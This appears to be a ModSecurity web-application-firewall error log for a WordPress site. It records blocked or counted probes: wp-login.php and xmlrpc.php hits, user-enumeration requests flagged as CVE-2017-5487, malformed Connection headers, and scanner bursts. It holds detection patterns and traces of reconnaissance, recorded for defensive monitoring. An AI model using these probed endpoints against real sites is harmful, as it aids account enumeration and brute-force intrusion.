[Fri Mar 27 22:13:34.385885 2026] [:error] [pid 54663:tid 54667] [client 185.194.178.97:61371] [client 185.194.178.97] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.194.178.97, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acaQjhUtStIXFk9WHe3I8gAAAcE"]
[Fri Mar 27 22:23:58.453094 2026] [:error] [pid 54663:tid 54672] [client 185.194.178.78:20711] [client 185.194.178.78] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.194.178.78, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acaS_hUtStIXFk9WHe3PNgAAAcY"]
[Fri Mar 27 22:23:58.463456 2026] [:error] [pid 27750:tid 27825] [client 185.194.178.98:35515] [client 185.194.178.98] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.194.178.98, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acaS_oaSil5rd17ieLwKpwAAAIc"]
[Fri Mar 27 22:24:08.866698 2026] [:error] [pid 63897:tid 63909] [client 43.159.138.217:36350] [client 43.159.138.217] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "acaTCGVSkmYmLu7ycYhqegAAAQo"]
[Fri Mar 27 22:26:52.143976 2026] [:error] [pid 27851:tid 27864] [client 27.34.66.56:48019] [client 27.34.66.56] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 27.34.66.56, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "acaTrHR2ccxe3RMCLboOiwAAAMY"]
[Fri Mar 27 22:34:21.567454 2026] [:error] [pid 27851:tid 27882] [client 185.194.178.57:43159] [client 185.194.178.57] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.194.178.57, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acaVbXR2ccxe3RMCLboP5gAAANg"]
[Fri Mar 27 23:02:50.513825 2026] [:error] [pid 27851:tid 27867] [client 145.82.150.148:34668] [client 145.82.150.148] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 145.82.150.148, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "acacGnR2ccxe3RMCLboZ0AAAAMk"]
[Sat Mar 28 00:12:15.696883 2026] [:error] [pid 22649:tid 22658] [client 27.34.66.56:27831] [client 27.34.66.56] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "acasX97U_7NYv3DkeSXi4QAAAoc"]
[Sat Mar 28 00:14:02.555224 2026] [:error] [pid 63897:tid 63900] [client 27.34.66.56:26274] [client 27.34.66.56] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 27.34.66.56, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "acasymVSkmYmLu7ycYh3XAAAAQE"]
[Sat Mar 28 00:15:43.777630 2026] [:error] [pid 27743:tid 27786] [client 27.34.66.56:25080] [client 27.34.66.56] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 27.34.66.56, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "acatLyA46UYYLqzw99AzDQAAABY"]
[Sat Mar 28 00:17:11.811153 2026] [:error] [pid 22649:tid 22652] [client 27.34.66.56:52941] [client 27.34.66.56] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 27.34.66.56, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "acath97U_7NYv3DkeSXj4AAAAoE"]
[Sat Mar 28 01:04:51.089815 2026] [:error] [pid 11325:tid 11743] [client 94.247.172.129:46991] [client 94.247.172.129] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "close, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aca4s49aMci1IHcmG6LoygAAAMI"]
[Sat Mar 28 01:10:52.937683 2026] [:error] [pid 11325:tid 11751] [client 49.7.227.204:45106] [client 49.7.227.204] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aca6HI9aMci1IHcmG6LrhQAAAMo"]
[Sat Mar 28 04:19:06.407580 2026] [:error] [pid 2877:tid 2894] [client 189.62.45.134:2195] [client 189.62.45.134] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "acbmOrgM4xL1Xj409YS4SQAAAQ8"]
[Sat Mar 28 04:20:53.911880 2026] [:error] [pid 64861:tid 64946] [client 189.62.45.134:2075] [client 189.62.45.134] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 189.62.45.134, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "acbmpexK22_lUN2kvnUkoQAAAIs"]
[Sat Mar 28 04:22:27.418661 2026] [:error] [pid 64861:tid 64943] [client 189.62.45.134:5602] [client 189.62.45.134] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 189.62.45.134, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "acbnA-xK22_lUN2kvnUk_wAAAIg"]
[Sat Mar 28 04:23:55.232538 2026] [:error] [pid 2877:tid 2900] [client 189.62.45.134:5540] [client 189.62.45.134] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 189.62.45.134, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "acbnW7gM4xL1Xj409YS7nAAAARU"]
[Sat Mar 28 04:25:30.704729 2026] [:error] [pid 64859:tid 64885] [client 189.62.45.134:5289] [client 189.62.45.134] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 189.62.45.134, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "acbnum3qEBHXq3rHdBmDCgAAAAQ"]
[Sat Mar 28 04:27:00.974072 2026] [:error] [pid 2877:tid 2898] [client 189.62.45.134:5297] [client 189.62.45.134] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 189.62.45.134, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "acboFLgM4xL1Xj409YS-PAAAARM"]
[Sat Mar 28 08:03:46.925070 2026] [:error] [pid 64860:tid 64921] [client 123.187.240.242:36245] [client 123.187.240.242] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "acca4hkU3N0pg_4aEL_qPgAAAE0"]
[Sat Mar 28 08:24:28.818284 2026] [:error] [pid 64860:tid 64918] [client 51.77.216.36:49430] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auto%20slot.aspx"] [unique_id "accfvBkU3N0pg_4aEL_2SwAAAEo"]
[Sat Mar 28 08:24:30.850297 2026] [:error] [pid 43578:tid 43601] [client 51.77.216.36:47326] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20casino.aspx"] [unique_id "accfvnNG2YdGm41aN8Ln1gAAAlQ"]
[Sat Mar 28 08:24:33.026725 2026] [:error] [pid 34597:tid 34623] [client 51.77.216.36:47330] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "accfwYluI7-e5s1cafctMgAAAVY"]
[Sat Mar 28 08:24:34.913044 2026] [:error] [pid 34597:tid 34604] [client 51.77.216.36:47334] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "accfwoluI7-e5s1cafctOwAAAUM"]
[Sat Mar 28 08:24:37.053258 2026] [:error] [pid 64860:tid 64920] [client 51.77.216.36:47338] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "accfxRkU3N0pg_4aEL_2VgAAAEw"]
[Sat Mar 28 08:24:39.323729 2026] [:error] [pid 64861:tid 64936] [client 51.77.216.36:47348] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "accfx-xK22_lUN2kvnV6YQAAAIE"]
[Sat Mar 28 08:24:41.226940 2026] [:error] [pid 64861:tid 64952] [client 51.77.216.36:49844] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "accfyexK22_lUN2kvnV6ZAAAAJE"]
[Sat Mar 28 08:24:43.461054 2026] [:error] [pid 34597:tid 34617] [client 51.77.216.36:49850] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "accfy4luI7-e5s1cafctRQAAAVA"]
[Sat Mar 28 08:24:45.600655 2026] [:error] [pid 43579:tid 43617] [client 51.77.216.36:49860] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "accfzSRqN4JVI8gB7Ama2QAAAok"]
[Sat Mar 28 08:24:47.643013 2026] [:error] [pid 34597:tid 34613] [client 51.77.216.36:49864] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20co.aspx"] [unique_id "accfz4luI7-e5s1cafctUgAAAUw"]
[Sat Mar 28 08:24:50.191508 2026] [:error] [pid 43547:tid 43564] [client 51.77.216.36:49972] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20slot.aspx"] [unique_id "accf0j4ZEfdetXP-9aC3qgAAAg8"]
[Sat Mar 28 08:24:52.187432 2026] [:error] [pid 34597:tid 34603] [client 51.77.216.36:49980] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20thailand.aspx"] [unique_id "accf1IluI7-e5s1cafctZQAAAUI"]
[Sat Mar 28 08:24:54.241937 2026] [:error] [pid 64860:tid 64925] [client 51.77.216.36:49988] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20wallet.aspx"] [unique_id "accf1hkU3N0pg_4aEL_2dQAAAFE"]
[Sat Mar 28 08:24:56.340534 2026] [:error] [pid 64861:tid 64949] [client 51.77.216.36:49990] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflik.aspx"] [unique_id "accf2OxK22_lUN2kvnV6cwAAAI4"]
[Sat Mar 28 08:24:58.508099 2026] [:error] [pid 34597:tid 34622] [client 51.77.216.36:50000] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflix.aspx"] [unique_id "accf2oluI7-e5s1cafctbgAAAVU"]
[Sat Mar 28 08:25:00.452333 2026] [:error] [pid 64861:tid 64952] [client 51.77.216.36:41888] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20wallet.aspx"] [unique_id "accf3OxK22_lUN2kvnV6dAAAAJE"]
[Sat Mar 28 08:25:02.440319 2026] [:error] [pid 43579:tid 43621] [client 51.77.216.36:41894] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/demon%20slot%20game.aspx"] [unique_id "accf3iRqN4JVI8gB7Ama4gAAAo0"]
[Sat Mar 28 08:25:04.415720 2026] [:error] [pid 34631:tid 34683] [client 51.77.216.36:41900] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dg%20casino.aspx"] [unique_id "accf4DtzjMMS6kojpeRAtAAAAdc"]
[Sat Mar 28 08:25:06.515078 2026] [:error] [pid 64859:tid 64883] [client 51.77.216.36:41908] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g2g%20slot.aspx"] [unique_id "accf4m3qEBHXq3rHdBmy0wAAAAI"]
[Sat Mar 28 08:25:08.550497 2026] [:error] [pid 34631:tid 34674] [client 51.77.216.36:41918] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "accf5DtzjMMS6kojpeRAvQAAAc4"]
[Sat Mar 28 08:25:10.502869 2026] [:error] [pid 64861:tid 64947] [client 51.77.216.36:54692] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "accf5uxK22_lUN2kvnV6eQAAAIw"]
[Sat Mar 28 08:25:12.627936 2026] [:error] [pid 43578:tid 43596] [client 51.77.216.36:54702] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20slot.aspx"] [unique_id "accf6HNG2YdGm41aN8Ln7AAAAk8"]
[Sat Mar 28 08:25:15.628028 2026] [:error] [pid 64860:tid 64916] [client 51.77.216.36:54710] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/h25%20com.aspx"] [unique_id "accf6xkU3N0pg_4aEL_2pAAAAEg"]
[Sat Mar 28 08:25:18.027868 2026] [:error] [pid 34631:tid 34662] [client 51.77.216.36:54716] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jili%20slot.aspx"] [unique_id "accf7jtzjMMS6kojpeRAzAAAAcI"]
[Sat Mar 28 08:25:20.142723 2026] [:error] [pid 64859:tid 64883] [client 51.77.216.36:54732] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20slot.aspx"] [unique_id "accf8G3qEBHXq3rHdBmy3QAAAAI"]
[Sat Mar 28 08:25:22.285014 2026] [:error] [pid 34631:tid 34670] [client 51.77.216.36:38858] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20vip.aspx"] [unique_id "accf8jtzjMMS6kojpeRA2wAAAco"]
[Sat Mar 28 08:25:24.195314 2026] [:error] [pid 34631:tid 34684] [client 51.77.216.36:38868] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kingkong%20joker.aspx"] [unique_id "accf9DtzjMMS6kojpeRA4gAAAdg"]
[Sat Mar 28 09:25:46.069322 2026] [:error] [pid 34597:tid 34603] [client 2.58.56.116:52945] [client 2.58.56.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "accuGoluI7-e5s1cafc6hwAAAUI"]
[Sat Mar 28 09:25:46.567450 2026] [:error] [pid 43547:tid 43565] [client 2.58.56.116:53234] [client 2.58.56.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "accuGj4ZEfdetXP-9aC83gAAAhA"]
[Sat Mar 28 09:25:47.062190 2026] [:error] [pid 43547:tid 43559] [client 2.58.56.116:53474] [client 2.58.56.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "accuGz4ZEfdetXP-9aC86gAAAgo"]
[Sat Mar 28 09:25:47.563202 2026] [:error] [pid 43579:tid 43612] [client 2.58.56.116:53966] [client 2.58.56.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "accuGyRqN4JVI8gB7AmlVgAAAoQ"]
[Sat Mar 28 09:25:48.065203 2026] [:error] [pid 43579:tid 43628] [client 2.58.56.116:54671] [client 2.58.56.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "accuHCRqN4JVI8gB7AmlWgAAApQ"]
[Sat Mar 28 10:43:41.715944 2026] [:error] [pid 43578:tid 43583] [client 213.131.85.26:54446] [client 213.131.85.26] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 213.131.85.26, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "acdAXXNG2YdGm41aN8IaUwAAAkI"]
[Sat Mar 28 13:44:30.523855 2026] [:error] [pid 64861:tid 64950] [client 170.106.165.186:52302] [client 170.106.165.186] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "acdqvuxK22_lUN2kvnXVfwAAAI8"]
